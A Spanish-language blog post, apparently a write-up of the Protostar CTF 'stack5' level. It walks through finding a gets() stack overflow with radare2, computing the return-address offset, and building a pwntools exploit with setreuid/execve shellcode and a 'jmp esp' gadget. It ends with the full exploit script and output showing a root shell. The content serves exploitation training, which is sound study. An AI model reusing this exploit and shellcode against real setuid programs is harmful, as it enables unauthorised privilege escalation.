Pages

domingo, 29 de julio de 2018

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos:

dpc@kernelinside:~/protostar/bin$ ./stack5
test
dpc@kernelinside:~/protostar/bin$

radare2 al rescate:

dpc@kernelinside:~/protostar/bin$ r2 ./stack5
 -- You need some new glasses
[0x08048310]> aas
[0x08048310]> e asm.bytes=false
[0x08048310]> iz

[0x08048310]> afl
0x08048000   23 712  -> 717  segment.LOAD0
0x08048114   19 436  -> 440  segment.INTERP
0x080482c8    1 12           fcn.080482c8
0x080482d8    1 6            loc.imp.__gmon_start
0x080482e8    1 6            sym.imp.gets
0x080482f8    1 6            sym.imp.__libc_start_main
0x08048310    1 33           sym._start
0x08048340    6 85           sym.__do_global_dtors_aux
0x080483a0    4 35           sym.frame_dummy
0x080483c4    1 23           sym.main
0x080483e0    1 5            sym.__libc_csu_fini
0x080483f0    4 90           sym.__libc_csu_init
0x0804844a    1 4            sym.__i686.get_pc_thunk.bx
0x08048450    4 42           sym.__do_global_ctors_aux
0x0804847c    1 28           sym._fini
0x08048498    1 12           obj._fp_hw

Esta vez sin strings interesantes ni otras funciones locales que ejecutar. ¿Por qué no? Ejecutaremos código arbitrario:

[0x08048310]> s main
[0x080483c4]> pdf
|           ;-- main:
/ (fcn) sym.main 23
|   sym.main ();
|           ; var int local_10h @ esp+0x10
|           ; DATA XREF from sym._start (0x8048327)
|           0x080483c4      push ebp
|           0x080483c5      mov ebp, esp
|           0x080483c7      and esp, 0xfffffff0
|           0x080483ca      sub esp, 0x50                              ; 'P'
|           0x080483cd      lea eax, [local_10h]                       ; 0x10 ; 16
|           0x080483d1      mov dword [esp], eax
|           0x080483d4      call sym.imp.gets                          ; char *gets(char *s)
|           0x080483d9      leave
\           0x080483da      ret

El payload, como siempre, se lee desde la entrada estándar. Para averiguar el offset hasta la dirección de retorno guardada utilizaremos el mismo método que en ./stack4:

1. Reabriremos ./stack5 en modo debug
2. Pondremos un breakpoint db justo después de la llamada a gets()
3. Continuamos la ejecución dc, metemos un string de prueba y el programa se detendrá
4. Escribimos en el buffer un patrón con el algoritmo De Bruijn Pattern wopD
5. Continuamos la ejecución dc y se producirá una violación de segumento con el registro EIP apuntando a un valor contenido dentro del patrón
6. Finalmente averiguamos el offset de este valor mediante wopO

Veamos:

[0x080483c4]> ood
Process with PID 4696 started...
File dbg:///home/dpc/protostar/bin/stack5  reopened in read-write mode
= attach 4696 4696
4696
[0xf7fd6c70]> db 0x080483d9
[0xf7fd6c70]> dc
test
hit breakpoint at: 80483d9
[0x080483d9]> wop?
|Usage: wop[DO] len @ addr | value
| wopD len [@ addr]   Write a De Bruijn Pattern of length 'len' at address 'addr'
| wopD* len [@ addr]  Show wx command that creates a debruijn pattern of a specific length
| wopO value          Finds the given value into a De Bruijn Pattern at current offset
[0x080483d9]> wopD 128 @ esp+0x10
[0x080483d9]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41614141 code=1 ret=0
[0x41614141]> wopO eip
76

Sabemos que la estructura de nuestro payload será la siguiente:

[     76 bytes     ][ret][ nops ][   shellcode   ]

Para el shellcode haremos uso del módulo shellcraft de pwntools. Este consistirá en dos llamadas a setregid() y setreuid() para recuperar los permisos de root y finalmente la ejecución de /bin/sh. pwntools nos permite hacer algo tan sencillo como esto:

shellcode  = shellcraft.i386.linux.setregid()
shellcode += shellcraft.i386.linux.setreuid()
shellcode += shellcraft.i386.linux.sh()
shellcode  = asm(shellcode)

Lo que se traducirá en un código tal que así:

    /*  getegid */
    /* call getegid() */
    push SYS_getegid /* 0x32 */
    pop eax
    int 0x80
    mov ebx, eax

    /*  setregid(eax, eax) */
    /* call setregid('ebx', 'ebx') */
    push SYS_setregid /* 0x47 */
    pop eax
    mov ecx, ebx
    int 0x80
    /*  geteuid */
    /* call geteuid() */
    push SYS_geteuid /* 0x31 */
    pop eax
    int 0x80
    mov ebx, eax

    /*  setreuid(eax, eax) */
    /* call setreuid('ebx', 'ebx') */
    push SYS_setreuid /* 0x46 */
    pop eax
    mov ecx, ebx
    int 0x80
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push '/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016972
    xor ecx, ecx
    push ecx /* null terminate */
    push 4
    pop ecx
    add ecx, esp
    push ecx /* 'sh\x00' */
    mov ecx, esp
    xor edx, edx
    /* call execve() */
    push SYS_execve /* 0xb */
    pop eax
    int 0x80

Por último solo nos queda averiguar con qué dirección sobreescribiremos EIP. Por supuesto no queremos andar adivinando offsets en el stack (los días de Aleph One fueron bonitos, pero esto es el futuro :P), de modo que localizaremos la dirección de una instrucción jmp esp, que como ya sabemos conduce hasta nuestro shellcode.

pwntools nos facilita de nuevo la tarea, podemos obtener del proceso en ejecución un handle hacia la libc y usar el comando search sobre el mismo para buscar la instrucción deseada:

p.libc.search(asm('jmp esp')).next()

Nota: Este método solo es portable en exploits locales.

Ahora sí, mostraremos el exploit completo:

from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack5"

shellcode  = shellcraft.i386.linux.setregid()
shellcode += shellcraft.i386.linux.setreuid()
shellcode += shellcraft.i386.linux.sh()
shellcode  = asm(shellcode)

padding = "A"*76
nops    = "\x90"*32

def exploit():
    p = process(context.binary.path)
    jmp_esp = p.libc.search(asm('jmp esp')).next()
    log.info("jmp esp: 0x%x" % jmp_esp)
    payload = padding + p32(jmp_esp) + nops + shellcode
    log.info("Exploiting...")
    p.sendline(payload)
    p.interactive()

if __name__ == "__main__":
    exploit()

Y el resultado:

dpc@kernelinside:~/protostar/bin$ python exp_stack5.py 
[*] '/home/dpc/protostar/bin/stack5'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack5': pid 4855
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] jmp esp: 0xf7ddbb51
[*] Exploiting...
[*] Switching to interactive mode
$ whoami
root
$ id
uid=0(root) gid=1001(dpc) groups=1001(dpc),27(sudo)

Pwned!

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...